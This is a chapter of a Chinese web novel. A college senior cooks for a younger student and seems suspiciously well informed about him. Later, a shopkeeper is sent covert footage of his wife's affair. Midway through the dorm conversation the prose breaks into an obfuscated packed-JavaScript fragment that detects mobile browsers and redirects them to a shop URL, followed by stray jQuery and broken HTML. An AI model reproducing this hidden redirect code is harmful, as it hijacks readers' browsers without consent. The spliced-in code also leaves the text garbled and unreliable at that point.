厨房在别墅的北侧，背阴，灯光却暖得过分。
晋云把林鹤羽按在岛台的高脚凳上，自己挽起衬衫袖子，露出流畅的小臂线条，围上了一条深灰色的围裙。那围裙一看就没怎么用过，熨得平整，像临时借来伪装成“会做饭的人”。
“随便弄点吃的，别嫌弃。”他说得漫不经心，却在林鹤羽看不见的角度，把手机里的备忘录又扫了一遍： ——忌葱、忌香菜、微辣、爱吃番茄炒蛋、软糯口感、糖分可以多一点……
油锅热起来的时候，林鹤羽才后知后觉地发现，这厨房太安静了。没有多余的调料瓶，没有生活中常用的酱油，连冰箱贴都只有一枚极简的黑色磁铁。所有东西都摆得像酒店样板间，却在晋云打开火的那一刻，突然活了过来。
番茄炒蛋先出锅，金黄的蛋花裹着鲜红的汁，撒了一点糖颗粒还没完全化开，亮晶晶地挂在表面。接着是黑椒牛柳，火候拿捏得过分精准，牛肉边缘微焦，咬开却还是嫩的。主食是海鲜炒饭，虾仁个头大得夸张，米饭粒粒分明，带着淡淡的椰奶香。
林鹤羽拿着筷子，整个人都被味蕾被满足的幸福感包裹着。
“……学长，你怎么知道我爱吃甜口的番茄炒蛋？”
晋云背对着他翻炒最后一铲，肩线微微绷了一下，随即轻松地笑出声：“原来喜欢这道菜啊，那我下次再做给你吃。”
林鹤羽被逗得耳根发烫，低下头扒了一口饭，米香混着海鲜的鲜甜在舌尖炸开，他忍不住发出一声满足的鼻音。
他们有一搭没一搭地聊着。聊到篮球，聊到NBA，晋云随口一句“湖人”，林鹤羽眼睛刷地亮了：“我也是！詹姆斯那记绝杀我看了十遍！” 晋云低笑，夹了块牛柳放他碗里：“品味不错。” 话题像顺水推舟，轻轻一滑就过去了，却刚好又踩在林鹤羽心尖上。
林鹤羽彻底说不出话了。他低头猛扒饭，试图掩饰耳尖的热度，却越吃越觉得不对劲——
太顺了。
从口味到笑点，从喜欢的乐队到最爱的篮球选手，每一次他抛出一个话题，晋云都能精准接住，甚至提前一步抛出更戳他的点。像是一场排练过无数次的双人舞，他每迈出一步，晋云就恰好在那里等着，掌心托住他的手腕，带着他旋转、落下，再旋转。
林鹤羽慢慢停下筷子。
他抬起眼，第一次真正地、认真地看向晋云。
对方正低头给他夹了一块牛柳，动作自然得像是做过千百次。灯光下，晋云的睫毛投出一小片阴影，唇角带着一点笑，却在林鹤羽看过来的那一刻，极轻地僵了一下。
那一点僵硬转瞬即逝，快得像错觉。
可林鹤羽还是捕捉到了。
他忽然意识到，从走进这栋别墅开始，所有的一切都太“完美”了——完美的房子、完美的饭菜、完美的共同话题，甚至连空气里那点潮湿的绿植香，都刚好是他最喜欢的味道。
像有人提前把他的喜好、他的弱点、他的软肋，一寸寸铺好，再把他轻轻放在正中央。
林鹤羽喉咙有点干。
说不出哪里不对。
晋云把一块最好的牛柳放进他碗里，声音还是那副懒洋洋的调子，带着一点哄人的笑：
“怎么不吃了？不合口味？”
林鹤羽摇头，勉强扯出一个笑：“不是……就是，觉得学长对我好像……太好了。”
晋云夹菜的动作顿了半秒。
他抬起眼，眼底那点笑意忽然变得很淡，像夜色里被风吹散的烟。
“因为你值得啊。”
他说得太轻，轻得像在说一件再平常不过的事。
可林鹤羽却听见自己心跳乱了半拍。
岛台上的小吊灯晃了一下，光影在两人之间来回晃动，像一条看不见的界线。
夜里九点半，校园早已熄灯。
林鹤羽坚持要回寝室。晋云没再劝，只把别墅的钥匙塞进他手里，说了句“随时回来住”，便陪着他穿过那条被月光漂白的小路，一路走回实验楼后的老宿舍区。
四人间被学校特批给晋云一个人用，门一推开，冷气混着一点淡淡的消毒水味扑面而来。房间干净得过分：两张床并排靠窗，上铺都空着，下铺被褥叠成方块；书桌并在一起，上面只摆着一台笔记本和一支没开封的黑色中性笔；窗边上没有绿植，只有一排排整齐的课本。
像一座被精心打扫过的展示间，没有人真正生活过的痕迹。
林鹤羽把书包放在空床上，笑得有点尴尬：“……还挺冷的。”
晋云“嗯”了一声，随手把空调温度调高两度，“今晚我睡这儿，陪你。”
林鹤羽想拒绝，已经来不及了。晋云动作太自然，像早就计划好。
灯关了，只剩床头一盏小小的感应夜灯。
林鹤羽仰面躺着，被子拉到下巴，眼睛却睁得很大。窗外偶尔有风吹过，树枝刮着玻璃，发出细碎的声音。
太安静了，林鹤羽闭眼便想起那天医院的味道，消毒水的味道、还有母亲最后抓着他手时冰凉的指尖。急诊室的灯太亮，亮得他连哭都像在聚光灯下。父亲不在，电话永远打不通。
他翻了个身，床板轻轻“吱呀”一声。
黑暗里，另一张床上传来极轻的动静。晋云没睡，声音低得几乎听不见：“睡不着？”
林鹤羽僵了一下：“……嗯。”
床垫微微下陷，晋云坐了起来，背靠着墙，轮廓在夜灯下显得有些模糊，“正好我也睡不着，聊会儿？”
他没开大灯，只把床头那盏感应灯调到最暗，亮白变成柔和的灰蓝，像水底的光。林鹤羽侧过身，看见晋云的侧脸埋在阴影里，只有一小截下颌线被照亮，线条干净得近乎冷淡。
“想聊什么都行。”晋云的声音很轻，像怕惊到他，“或者，我说，你听？”
林鹤羽没说话，只是把被子往上又拉了拉，露出半张脸。
晋云低低地笑了一声。
“那我先说吧。”他顿了顿，嗓音混着夜色，慢慢地、轻轻地，“我小时候最怕黑，后来发现，只要有一个人在旁边，哪怕一句话不说，也就不怕了。”
晋云等了几秒，见他不说话，便继续道：“今天的事搁谁身上都不好受，我明白。那对夫妻一看就是惯于挑事的，不光针对你，所有好拿捏的人他们都欺负。错不在你，我反而觉得你敢一个人跟他们硬碰硬，很厉害。”
林鹤羽沉默了一会儿，才闷声道：“学长……你怎么知道他们用坏水果以次充好？我一直跟你在一起，你又没看监控，为什么说得那么笃定？”
晋云笑了笑，声音带着点懒：“他们连员工工资都舍不得发，又做水果生意，损耗那么大，不压成本才怪。以次充好是他们最省事的办法，我赌一把，赌对了。”
林鹤羽胸口堵了一天的气一下子涌上来。
“我在那店里干了两个月，老板天天让我用烂水果做果切。我趁他们不在就换好的，他们发现烂水果没少，就骂我、扣我工资，还威胁我。那两人还老去隔壁店找茬，就因为人家生意好。有一次隔壁老板气得动手打了老板娘，警察都来了，最后赔了钱才完事。”
他说完才发现自己声音在抖。
晋云短促地笑了一声，干净利落。
“今天看他们低头签调解书，我都以为自己在做梦。”林鹤羽嘴角翘了翘，语气里终于有了点痛快。
晋云翻了个身，床垫陷下去一点，声音放得很轻：“我敢说，用不了多久，他们肯定散伙，下场会很惨，够你解气。”
林鹤羽愣了下，也转过去面对他：“为什么？”
“直觉。”晋云说得轻飘，却透着笃定。
“你家该不会是算命的吧。”
黑暗里停了两秒。
“你怎么知道我家算命的？”晋云声音压低，贴近了些，“其实我们家不仅算命，还能管别人的生死。”
“真的假的？！”林鹤羽猛地坐起来，被子滑到腰间，瞪大了眼，“怪不得跟你一起什么事都顺……你不会真是那种传说里的神秘家族吧？”
晋云没憋住，低低笑出声，胸腔都在震。
“骗你的，你也太好骗了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053380|194848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
林鹤羽整个人僵住，下一秒“啪”地把被子拉过头顶，闷声咬牙：“……耍我！”
被子外传来晋云压低的笑声，一阵接一阵，带着点坏。
笑声慢慢停了，寝室重新安静下来。
林鹤羽平躺回去，盯着天花板那片漆黑，胸口那点沉甸甸的东西不知不觉散了不少。
他没再说话，呼吸也渐渐平稳。
黑暗里，晋云侧着身，睁着眼，嘴角还挂着一点笑，目光落在旁边那张床上。笑声渐渐散了，寝室重归安静。
或许，是黑暗里有人陪着说说话，连最重的夜都变得没那么可怕了。
几个月后。
茨城县，老街最深处那家水果店，门脸已经褪色，招牌上的“鲜”字只剩半边。
下午四点，天闷得厉害，空气里全是烂掉的果皮味。一壮汉蹲在门口的塑料凳上，脚边堆着削下来的菠萝皮，烟叼在嘴里，烟灰拖得老长。他穿着件洗得发白的灰背心，肩膀晒得黝黑，汗顺着后颈往下淌，在背心领口洇出一圈深色。
风突然大起来，遮阳棚被吹得啪啪响，几个烂桃子从筐里滚出来，在地上摔得稀烂。
一个戴鸭舌帽的男人停在他面前，递过来一个牛皮纸包裹，声音压得很低：“你的快递。”
壮汉抬眼，皱着眉接过来，手指全是菠萝削皮留下的黄色痕迹，“我没买东西。”
“关于你老婆的。”男人说完，把帽檐往下拉了拉，转身就走，混进街对面买菜的人群里，几秒钟就不见了。
壮汉低头看包裹，没寄件人，没地址，只用透明胶带缠得死紧。他骂了句脏话，心里生出不详的预感。他站起来，膝盖撞到凳子，疼得龇牙。进店时顺手把卷帘门拉下一半，店里更暗了，只有冷柜的灯嗡嗡地亮着。
他把包裹往收银台一扔，找了把水果刀，三下五除二划开。里面就一个黑色U盘，拇指大小，连个包装袋都没有。
老旧的台式电脑开机慢，风扇呼呼转，屏幕闪了几下才亮。壮汉把U盘插进去，手指粗，接口对不准，插了两次才进去。
文件夹一打开，几十个文件全按日期排好序。
他点了第一个视频。
监控画面，角度是他店里冷柜上方那个死角。时间戳显示的是上个月他去外地进货的那天。
镜头里，他老婆穿着那件他最讨厌的紧身豹纹吊带，正被一个男人压在水果冷柜边。男人背对镜头，腰上的痣他一眼就认出来了——他亲弟弟。
声音很小，但足够听见他老婆的喘息和那句带着笑的“别在这儿，有监控呢”。男人回了一句“早关了”，然后镜头晃了一下，彻底黑了。
壮汉手抖得厉害，鼠标差点从手里滑出去。
他又点了第二段，酒店走廊的偷拍，时间是对的，他老婆挽着同一个男人的胳膊，手指还插在人家皮带里。
后面几张照片更直接：酒店床单背景，老婆穿着黑色蕾丝开裆内衣，跪在床上，冲着镜头笑。那笑他从没见过。
壮汉的呼吸一下重了，像拉风箱。脸涨成猪肝色，脖子上的青筋一根根鼓起来。他猛地抓起手机，划了半天才解锁，手指抖得点不准号码。
“您拨打的电话已关机……”
嘟嘟声响了几下，他直接把手机砸在收银台上。
门外突然炸了个闷雷，雨点噼里啪啦砸下来。
壮汉站在原地，眼眶通红。
他盯着电脑屏幕，屏幕保护已经黑了，只剩他自己扭曲的脸映在上面。
眼白布满血丝，瞳孔缩得极小，眼角的鱼尾纹挤成一团，嘴角往下扯，露出牙床，像被刀劈开的石榴。额头青筋暴起，一跳一跳，汗水从鬓角滑下来，挂在下巴上。鼻翼翕动，鼻孔里喷出的热气在冷气里凝成一小团一小团的白雾。
他死死盯着那张黑屏里的自己，脸上的肉在抖，嘴角抽搐了两下，想笑又想哭，最后僵成一条难看的缝。牙关咬得咯咯响，腮帮子鼓起一块硬邦邦的肌肉，像是随时会炸开。
那张脸扭曲得几乎不像人，更像一头被逼到绝路的野兽。